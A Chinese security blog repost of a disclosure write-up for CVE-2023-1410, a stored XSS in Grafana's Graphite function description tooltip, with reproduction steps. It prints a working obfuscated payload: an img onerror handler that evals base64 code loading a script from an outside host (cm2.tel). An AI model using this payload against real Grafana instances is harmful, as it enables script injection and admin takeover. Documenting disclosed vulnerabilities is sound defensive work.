CVE-2023–1410:Graphite 函数描述工具提示中的存储型 XSS

admin 2023年6月6日01:27:01评论13 views字数 2313阅读7分42秒阅读模式





点击蓝字,关注我们





安装 Graphite 数据源后,可以在仪表板中使用此数据源。这具有使用函数的能力。选择函数后,将鼠标悬停在函数名称上时会出现一个小工具提示。


此工具提示将允许您从查询中删除所选函数或查看函数描述。但是,在将此描述添加到 DOM 时不会执行任何清理。


由于连接到公共数据源相对普遍,攻击者可能会托管一个 Graphite 实例,该实例的功能描述已更改,携带 XSS 有效载荷。


当用户在查询中使用它并无意中将鼠标悬停在功能描述上时,将执行攻击者控制的 XSS 负载。


例如,这可用于使攻击者成为管理员。

重现步骤:


1.创建您自己的 Graphite 实例。我通过跑步来做到这一点

make devenv sources=graphite

2. 现在启动您的 Graphite 容器的控制台并更改以下文件。

/opt/graphite/webapp/graphite/render/functions.py

3.你可以使用任何功能,但是我选择aggregateSeriesLists 功能。

4. 将其描述更改为:

"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vY20yLnRlbCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>

5. 结果如下:

def aggregateSeriesLists(requestContext, seriesListFirstPos, seriesListSecondPos, func, xFilesFactor=None):"""                                                                              
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vY20yLnRlbCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>
"""if len(seriesListFirstPos) != len(seriesListSecondPos): raise InputParameterError( "seriesListFirstPos and seriesListSecondPos argument must have equal length") results = []
for i in range(0, len(seriesListFirstPos)): firstSeries = seriesListFirstPos[i] secondSeries = seriesListSecondPos[i] aggregated = aggregate(requestContext, (firstSeries, secondSeries), func, xFilesFactor=xFilesFactor) if not aggregated: # empty list, no data found continue result = aggregated[0] # aggregate() can only return len 1 list result.name = result.name[:result.name.find('Series(')] + 'Series(%s,%s)' % (firstSeries.name, secondSeries.name) results.append(result) return results

aggregateSeriesLists.group = 'Combine'aggregateSeriesLists.params = [ Param('seriesListFirstPos', ParamTypes.seriesList, required=True), Param('seriesListSecondPos', ParamTypes.seriesList, required=True), Param('func', ParamTypes.aggFunc, required=True), Param('xFilesFactor', ParamTypes.float), ]

6. 保存并退出文件。重新启动您的 Graphite 容器。

7. 以组织管理员身份登录到您的 Grafana 实例。

8.导航到http://[grafana]/plugins/graphite并点击Create a Graphite data source

9. 输入攻击者的 Graphite 实例的 url(您可能想要激活 Skip SSL Check),然后单击 Save & Test and Explore。

10、在新打开的页面点击Functions旁边的Add图标,然后搜索aggregateSeriesLists并点击添加。

11.将光标悬停在 aggregateSeriesLists 上方,然后将其移动到?图标。

payload 将被触发,在这种情况下,它将包含一个外部脚本,该脚本将导致触发警报。

CVE-2023–1410:Graphite 函数描述工具提示中的存储型 XSS

影响:

当然,攻击者会通过将其所有描述替换为 XSS 负载来增加机会。


如上所示,攻击者现在可以在受害者的浏览器中执行任意 Javascript。

受害者可以是在查询中(或在探索时)使用恶意 Graphite 实例的任何用户,包括组织管理员。


如果是这种情况,攻击者可能会插入一个有效负载,允许他们自己添加为管理员。

CVE-2023–1410:Graphite 函数描述工具提示中的存储型 XSS
点击此处“阅读全文”查看更多内容


原文始发于微信公众号(Ots安全):CVE-2023–1410:Graphite 函数描述工具提示中的存储型 XSS

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月6日01:27:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023–1410:Graphite 函数描述工具提示中的存储型 XSShttp://cn-sec.com/archives/1678377.html

发表评论

匿名网友 填写信息